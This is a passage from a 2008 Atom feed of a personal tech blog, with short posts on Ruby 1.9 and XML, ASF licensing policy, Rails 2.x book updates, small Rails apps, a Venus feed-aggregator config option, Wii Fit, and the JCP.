+<path d='M29,61l42,13l-10-42zM56,0h28l-16,10zM1,51l-1,29l7-13z' fill='#c22'/>
+<path d='M32,61l39,13c-14,13-30,24-50,26z' fill='#a00'/>
+<path d='M61,35l10,39l17-23zM32,61l16,30c9-5,16-11,23-17l-39-13z' fill='#900'/>
+<path d='M61,35l27,17l10-20l-37,3z' fill='#800'/>
+<path d='M71,74l23,21l-6-44zM0,80c1,19,15,20,21,20l-14-33l-7,13zM7,67l-2,26c4,6,9,7,15,6c-4-11-13-32-13-32zM69,9l30,4c-1-7-6-11-15-13l-15,9z' fill='#911'/>
+<path d='M1,51l6,16l25-5l29-27l8-26l-13-9l-22,8c-6,7-20,19-20,19c-1,1-9,16-13,24z' fill='#ebb'/>
+<path d='M21,21c15-14,34-23,42-16c7,8-1,26-16,40c-14,15-33,24-41,17c-7-7,1-26,15-41z' fill='#b11'/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/10/RX-Work"><cite>Tim Bray</cite></a>: <em>There is quite a bit of disgruntlement about XML and Ruby right at this point in time</em></p>
+<p>I’m scheduled to give a <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2969">talk about this subject and more</a> at <a href="http://www.conferences.oreilly.com/oscon">OSCON</a> next month.  Short summary: if you are a markup geek (i.e., deal with things like HTML or XML), and expect things to “just work”, now is not a great time to be exploring Ruby 1.9.  The biggest issue is that <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17666&amp;group_id=494&amp;atid=1973">bug</a> <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17700&amp;group_id=426&amp;atid=1698">reports</a> and <a href="http://intertwingly.net/blog/2008/01/04/Builder-on-1-9">suggestions</a> don’t seem to attract the necessary cycles from the key developers.</p>
+<p>Hopefully, venues like OSCON can help draw attention to this important issue.</p></div></content>
+    <updated>2008-06-11T10:40:52-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2854</id>
+    <link href="/blog/2008/06/06/Sausages-and-Uncertainty"/>
+    <link rel="replies" href="2854.atom" thr:count="20" thr:updated="2008-06-11T18:44:14-04:00"/>
+    <title>Sausages and Uncertainty</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Yesterday we had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  I was asked about the status of the <a href="http://people.apache.org/~rubys/3party.html">ASF third party licensing policy</a>.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="104" height="96" viewBox="0 0 104 96">
+  <desc><![CDATA[
+    Scales of Justice.  Based on work
+    Copyright 2007 by Ken A L Coar.  All rights reserved.
+    The design and this SVG rendition are protected by copyright law,
+    and may not be used or reproduced without the express
+    permission of the author, coar@apache.org.
+  ]]></desc>
+  <g fill='#cbb820' stroke='#cbb820'>
+    <path d='M1,69l13-51l13,51M77,69l13-51l13,51' fill='none'/>
+    <path d='M0,69c5,9,23,9,28,0zM76,69c5,9,23,9,28,0zM48,94l2-88l2-4l2,4l2,88z' stroke='none'/>
+    <path d='M52,14c6-17,35,9,40,0c-2,14-34-14-40,5c-6-19-38,9-40-5c5,9,34-17,40,0'/>
+  </g>
+</svg>
+<p>I’ve often found lawyers frustrating.  No matter how carefully you craft a question to only permit answers of <b>yes</b> or <b>no</b>, they always seem to find a way to pick door number 3.</p>
+<p>Given that, I should have known better in <a href="http://www.apache.org/foundation/records/minutes/2007/board_minutes_2007_07_18.txt">July</a> when I volunteered to take over a vacancy as Chair of the ASF Legal Affairs Committee when <a href="http://en.oreilly.com/oscon2008/public/schedule/speaker/3809">Cliff Schmidt</a> decided to devote more of his time to <a href="http://www.literacybridge.org/about.html">Literacy Bridge</a>.  And I certainly should have known better than to volunteer to take an unfinished <a href="http://people.apache.org/~rubys/3party.html">third party licensing policy</a> to completion.</p>
+<p>Fast forward to yesterday.  We had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  New members were elected too — those names will dribble out as they are informed and (hopefully) accept.</p>
+<p>At that meeting, the tables were turned.  Instead of it being me crying for a simple yes or no answer, a number of members, led by <a href="http://www.betaversion.org/~stefano/">Stefano</a> and <a href="http://enthusiasm.cozy.org/">Ben</a> led the charge and came after me complete with torches and pitchforks.  OK, so I’m exaggerating slightly.  There were no torches.  And only <b>really</b> tiny pitchforkes.  Actually they weren’t pitchforks at all — more like Monty Python-esque <a href="http://www.youtube.com/watch?v=9V7zbWNznbs">taunting</a>.  Oh, and it was not directed at me, exactly.  Just at the lack of closure.  On what <b>clearly</b> must be a series of simple <em>yes</em> and <em>no</em> questions.  I mean really.  For example, is the <a href="http://markmail.org/message/aw7fexnksqq2gvao">Creative Commons Attribution license</a> version 2.5 compatible with the <a href="http://www.apache.org/licenses/LICENSE-2.0.html">Apache License version 2.0</a>?  Surely <b>that</b> is a yes or no question, right?  Actually, <a href="http://markmail.org/message/jafgk762wylbhzru">no</a>.  But we can quickly come up with a <a href="http://markmail.org/message/aarfydgmuay6cgg6">set of guidelines</a> that everybody can live with.  And, after all is said and done, isn’t that what everybody really needs?</p>
+<p>But I digress.  Where was I?  Oh, yes, the meeting.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</p>
+<p>My plans here on out is to push for <a href="http://people.apache.org/~rubys/3party.html#category-x">Category X licenses</a> as well as the <a href="http://people.apache.org/~rubys/3party.html#transition-examples">transition examples</a> to be added to the <a href="http://www.apache.org/legal/resolved.html">resolved legal questions</a>.  And to state that the work on best practices and specific limited exemptions for all other licenses (effectively all the licenses known to be in category B, and all licenses yet to be explored) is ongoing.  And with that jedi-like hand wave coupled with the Apache secret weapon: namely an open invitation for all those who are affected by this to join legal-discuss and help work out the issues (also known as the <em>where’s your patch?</em> or <em>thanks for volunteering</em> defense), the villages will once again be peaceful.</p>
+<p>Wish me luck.  Oh, and don’t tell anybody about my secret plan.  Nobody reads my blog anyway.</p>
+<p>And if any of you out there are lawyers: I’m sorry for the trouble I’ve given you in the past.</p></div></content>
+    <updated>2008-06-06T08:20:07-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2853</id>
+    <link href="/blog/2008/06/05/Rails-2-1"/>
+    <link rel="replies" href="2853.atom" thr:count="3" thr:updated="2008-06-15T00:44:07-04:00"/>
+    <title>Rails 2.1</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, Third Edition</a> has been updated to <a href="http://weblog.rubyonrails.org/2008/6/1/rails-2-1-time-zones-dirty-caching-gem-dependencies-caching-etc">Rails 2.1</a>.  The biggest visible change is the <a href="http://ryandaigle.com/articles/2008/4/2/what-s-new-in-edge-rails-utc-based-migration-versioning">UTC-based migrations</a>.  It is amazing how fast <a href="http://pragprog.com/titles/rails3/errata#e32259">beta readers</a> pick up on details such as these.</div></content>
+    <updated>2008-06-05T09:51:58-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2852</id>
+    <link href="/blog/2008/06/04/Wii-Fit"/>
+    <link rel="replies" href="2852.atom" thr:count="4" thr:updated="2008-06-11T16:40:52-04:00"/>
+    <title>Wii Fit</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="143" height="70" viewBox="0 0 143 70">
+  <path d='M2,6h14l12,45l11-41c3-7,13-7,16,0l11,41l12-45h14l-17,58c-3,7-13,7-16,0l-12-39l-12,39c-3,7-13,7-16,0zM99,68v-43h14v43zM126,68v-43h14v43z' fill='#999'/>
+  <circle cx='133' cy='10' fill='#999' r='8'/>
+  <circle cx='106' cy='10' fill='#999' r='8'/>
+</svg>
+<p>Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</p>
+<p>I find that I’m good at activities that require me to stand relatively still on two feet — things like the “Warrior Pose” and even “Table Tilt”, but not quite so good at activities either that require rapid shifting such as “Soccer Heading” or standing on one foot such as “Tree”.  I can do “Push Ups and Side Planks” with ease, but can’t for the life of me do “Hula Hoops”.  I am getting better at “Ski Slalom” though — I’ve actually managed to make it down the hill without missing any of the flagged regions — once.</p></div></content>
+    <updated>2008-06-04T19:21:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2851</id>
+    <link href="/blog/2008/05/29/Scaling-Rails-Down"/>
+    <link rel="replies" href="2851.atom" thr:count="4" thr:updated="2008-06-13T07:28:38-04:00"/>
+    <title>Scaling Rails... Down</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>What I mean by scaling down is to places where I would not have previously thought it was worth the time or effort to build a web application.  In many cases, I am talking single user, single table applications whose usefulness may last only a few months or even days.  The ability to go from concept to running code preloaded with live data in five minutes or less is truly a game changer for me.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.  It is said that Rails itself was factored out of live running application, and perhaps after I create a few more examples, I will be able to fully see the commonality and be able to build a generator and/or a small wizard application (built on Rails, natch).</p>
+<p>The six steps to a running application are <code>rails application</code>, <code>cd application</code>, <code>ruby script/generate scaffold table attrs...</code>, <code>rake db:migrate</code>, <em>load</em> data, <code>ruby script/server</code>, and <em>tweak</em>.  The keys being <code>scaffold</code>, <em>load</em>, and <em>tweak</em>.</p>
+<h3 id="errata">Errata</h3>
+<p>The first example is <a href="http://intertwingly.net/stories/2008/05/29/errata.rb">errata</a>.  <a href="http://pragprog.com/">Pragmatic Programmers</a> hosts a simple <a href="http://pragprog.com/titles/rails3/errata/">errata</a> page that contains input that has been received to date beta of books.  As I’m working (sometimes offline), I like having the ability to annotate these records as to whether I have made the fix, am deferring the suggestion for now, or (for whatever reason) the fix is resolved another way.</p>
+<p>So I define a model for an erratum consisting of three groups of attributes: ones that show up in the index and on the individual edit page, ones that are in the xml file but I’m not concerned about for the moment, and additional  attributes that represent annotation.</p>
+<p>The “tweaks” include defining a virtual attribute in the model for a “beta_page” that combines the <code>title_release_reported_in</code> and <code>pdf_page</code> fields into one, highlights errata which were first seen within the last 24 hours, filter the index to only show issues which haven’t been categorized, turn off session support (as this is a single user application), and some minor CSS.</p>
+<p>Loading is as simple as an xml parse of the <a href="http://pragprog.com/titles/rails3/errata/index.xml">input document</a>, some minor type coercions, name mapping, and filtering, and into the database it goes.  This step can be rerun multiple times as it will only replace the columns which were originally sourced from the document, and will only add new rows when a new errata_id is encountered.</p>
+<p><a href="http://intertwingly.net/stories/2008/05/29/errata.rb">this code</a> does all that and launches a server.  Up and running in five minutes indeed.  And <a href="http://intertwingly.net/stories/2008/05/29/report.html.erb">additional reports</a> are easy enough to add later.</p>
+<h3 id="agenda">Agenda</h3>
+<p>The second example is <a href="http://intertwingly.net/stories/2008/05/29/agenda.rb">agenda</a>.  The <a href="http://www.apache.org/foundation/board/">ASF Board</a> meetings each have an agenda that is of the same basic format as the <a href="http://www.apache.org/foundation/board/calendar.html">minutes</a>, but with room for individual directors to leave comments and to “pre-approve” individual reports.  As an officer, director, and secretary, I need to interleave reporting, participating, and recording activities all the while coping with a document that is in a decidedly non-linear format.  I’ve been able to cope using browser tabs and having a <a href="http://intertwingly.net/blog/2008/03/08/Switched">second monitor</a> has been a real blessing, but having a single application that enables me to navigate within the document and record comments inline would be helpful.</p>
+<p>Once again, there are three groups of attributes involved: ones that show only in the index, ones that show both in the index and on the individual report pages, and ones that represent annotations.</p>
+<p>Tweaks include color coding the rows based on the status of the report (missing, ready for review, approved with comments, and simply approved) and changing the flow in the controller to move onto the next report after an update is made.</p>
+<p>The loading step is the most difficult one here as it involves some gnarly regular expressions and, in the case of Additional Officer Reports and Committee Reports requires two passes.  The actual interaction with the database is trivial.</p>
+<p>The “market” for the above application is likely only “one”, or at most a dozen or so (directors plus guests), and as such would probably still remain unwritten except for the fact that I was bored on a plane ride out and this gave me something to do.  Future work would include expanding to the “prep” stage (i.e., highlight which reports are ready but have not been reviewed by me just yet), and to the “publish” state (first pass generation of the report based on the agenda and annotations).</p></div></content>
+    <updated>2008-05-29T13:58:37-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2850</id>
+    <link href="/blog/2008/05/21/Despamming-Venus-Mememes-List"/>
+    <link rel="replies" href="2850.atom" thr:count="1" thr:updated="2008-05-21T22:57:26-04:00"/>
+    <title>Despamming Venus Mememes List</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100" viewBox="0 0 100 100">
+  <defs>
+    <g id="src" opacity="0.5" fill="none" stroke-width="12">
+      <circle cx="-20" cy="19" r="1"/>
+      <path d="M0,19s0-20-20-20m0-19s40,0,40,40" stroke-linecap="round"/>
+    </g>
+  </defs>
+  <use xlink:href="#src" transform="translate(64,56) rotate(240)" stroke="#44F"/>
+  <use xlink:href="#src" transform="translate(42,36) rotate(120)" stroke="#0C0"/>
+  <use xlink:href="#src" transform="translate(35,65)" stroke="#F00"/>
+</svg>
+<p>I just committed a change to <a href="http://www.intertwingly.net/code/venus/">Venus</a> that lets one configure a list of URIs which are <b>not</b> to be included in the mememe list.  Example usage:</p>
+<pre class="code">[mememe.plugin]
+spam:
+  http://services.google.com/feedback/abg</pre>
+<p>One simply lists URIs separated by white space (I personally prefer to do this one per line) and these URIs will be eliminated from the list.</p></div></content>
+    <updated>2008-05-21T21:59:32-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2849</id>
+    <link href="/blog/2008/05/15/Men-in-Suits"/>
+    <link rel="replies" href="2849.atom" thr:count="0"/>
+    <title>Men in Suits</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html">Geir Magnusson Jr</a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g stroke="#000" fill="none" stroke-width="0.2">
+    <path d="M5,60 A16,30 60,1,1 95,40"/>
+    <path d="M10,60 A15,30 60,1,1 90,40"/>
+    <path d="M15,60 A14,30 60,1,1 85,40"/>
+    <path d="M20,60 A13,30 60,1,1 80,40"/>
+    <circle cx="40" cy="24" r="4" fill="#C0C" stroke="none"/>
+    <circle cx="50" cy="50" r="25" fill="#FD0" stroke="none"/>
+    <path d="M5,60 A16,30 60,0,0 95,40"/>
+    <path d="M10,60 A15,30 60,0,0 90,40"/>
+    <path d="M15,60 A14,30 60,0,0 85,40"/>
+    <path d="M20,60 A13,30 60,0,0 80,40"/>
+  </g>
+  <circle cx="60" cy="61" r="2" fill="#F00"/>
+  <circle cx="78" cy="25" r="3" fill="#0F0"/>
+  <circle cx="22" cy="79" r="3" fill="#00F"/>
+</svg>
+<p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html"><cite>Geir Magnusson Jr</cite></a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p><a href="http://blogs.sun.com/webmink/entry/links_for_2008_05_14">Simon Phipps</a>: <em>The lesson to be learned is that the best way to get Java everywhere was to work with the community rather than expect the community to work with Sun. Let’s hope that lesson sticks and spreads.</em></p>
+<p>There is a discussion going on.  At the moment, it appears to be between Sun and the press.</p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></content>
+    <updated>2008-05-15T07:56:08-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2848</id>
+    <link href="/blog/2008/05/14/Beta-1-1"/>
+    <link rel="replies" href="2848.atom" thr:count="2" thr:updated="2008-05-15T12:34:21-04:00"/>
+    <title>Beta 1.1</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.  Harder in that Rails has changed so much, there has been so much to learn (in terms of Rails 2.0, <a href="http://www.sqlite.org/">SQLite3</a>, and also in terms of working with a different publisher, operating system, and toolset).  But I can’t begin to express how much I like the <a href="http://www.pragprog.com/categories/beta">beta books</a> program — the readers that this book has attracted so far have been great and their comments, questions, and feedback have been most appreciated.</p>
+<p>Also, while this book has always had ample <a href="http://pragprog.com/titles/rails3/source_code">source code</a> provided, I’m continuing to look for ways to both expand and automate.  Rerunning the code on rails edge, for example is now something I can repeatedly do in a matter of minutes.</p></div></content>
+    <updated>2008-05-14T09:41:11-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2847</id>
+    <link href="/blog/2008/05/13/Open-Standards"/>
+    <link rel="replies" href="2847.atom" thr:count="3" thr:updated="2008-05-31T07:59:49-04:00"/>
+    <title>Open Standards</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M34,93l11,-29a15,15 0,1,1 9,0l11,29a45,45 0,1,0 -31,0z" stroke="#142" stroke-width="2" fill="#4a5"/>
+</svg>
+<p><a href="http://pzf.fremantle.org/2008/05/open-source-versus-open-standards.html"><cite>Paul Fremantle</cite></a>: <em>For me the core difference between Open Standards and Open Source is this: Open Standards enable companies to <b>compete</b> in a structured way, Open Source projects enable people or companies to <b>collaborate</b> in a structured way</em></p>
+<p>I think Paul may be onto something.  It is rapidly becoming the case that <a href="http://rubyspec.org/">this</a> more than <a href="http://www.iso.org/iso/home.htm">this</a> is becoming the exemplar for open standards.  While it is popular to malign the JCP, it is worth noting that many (most?) JSRs have TCKs which actively promote the idea of multiple, independent, interoperable implementations.</p></div></content>
+    <updated>2008-05-13T08:07:29-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2846</id>
+    <link href="/blog/2008/05/08/Word-Of-Mouth"/>
+    <link rel="replies" href="2846.atom" thr:count="3" thr:updated="2008-05-10T17:05:36-04:00"/>
+    <title>Word Of Mouth</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html">danah boyd</a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="120" height="83" viewBox="0 0 120 83">
+  <path d='M60,0c-33,0-60,19-60,42c0,22,27,41,60,41c33,0,60-19,60-41c0-23-27-42-60-42M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#AAA'/>
+  <path d='M60,4c-28,0-52,17-52,38c0,20,24,37,52,37c29,0,52-17,52-37c0-21-23-38-52-38M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#717279'/>
+  <path d='M60,3c-29,0-52,17-52,39c0,21,23,38,52,38c29,0,53-17,53-38c0-22-24-39-53-39M60,79c-28,0-52-17-52-37c0-21,24-38,52-38c29,0,52,17,52,38c0,20-23,37-52,37M111,35h-102l-1,7l1,6h102c1-2,1-4,1-6c0-3,0-5-1-7' fill='#EEE'/>
+  <path d='M108,34h-95l-4,1h3h96h3l-3-1' fill='#58585E'/>
+  <path d='M12,48h-3l4,1h95l3-1h-3z' fill='#3A3B3E'/>
+  <path d='M62,5c0,0-14,13-16,30h12c-4-13,4-30,4-30M59,78c0,0,13-13,15-30h-11c4,13-4,30-4,30' fill='#BBB'/>
+  <path d='M58,35h9c-11-6-5-30-5-30s-8,17-4,30M63,48h-10c11,6,6,30,6,30s8-17,4-30M109,45c0,1-1,1-2,1h-1v-7l-1-1h-15v8h-3v-9h19c1,0,3,1,3,2zM12,45h17c1,0,1-1,1-1v-2h-18v-3c0-1,1-2,3-2h18v1h-17c-1,0-1,1-1,1v2h18v3c0,1-1,2-3,2h-16c-1,0-2,0-2-1M38,44l1,1h17v1h-18c-2,0-3-1-3-2v-5c0-1,1-2,3-2h18v1h-17l-1,1zM62,37v9h-3v-9zM85,39v5c0,1-1,2-2,2h-16c-2,0-3-1-3-2v-5c0-1,1-2,3-2h16c1,0,2,1,2,2M81,38h-13c-1,0-1,1-1,1v5c0,0,0,1,1,1h13c1,0,1-1,1-1v-5c0,0,0-1-1-1' fill='#060506'/>
+</svg>
+<p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html"><cite>danah boyd</cite></a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.  No, I’m clearly not a hipster 20-30something, but there seems to be a transitive property in effect as teenage girls tend to be 20-30something wannabies.  In addition to the aspects that danah mentioned, gas mileage is not too bad.  I also feel that — for this demographic at least — the ability to control an iPod from the steering wheel is an vital safety feature.  We also went for the <a href="http://en.wikipedia.org/wiki/Vehicle_Stability_Control">electronic stability control</a>.</p>
+<p>Anybody who happens to be by <a href="http://www.fredandersontoyota.com/">Fred Anderson Toyota</a> should ask for Phil.</p></div></content>
+    <updated>2008-05-08T08:12:03-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2845</id>
+    <link href="/blog/2008/05/05/VMWare-Workstation-Hardy-Heron-VMWare-Tools"/>
+    <link rel="replies" href="2845.atom" thr:count="7" thr:updated="2008-05-06T16:57:07-04:00"/>
+    <title>VMWare Workstation, Hardy Heron, VMWare Tools</title>
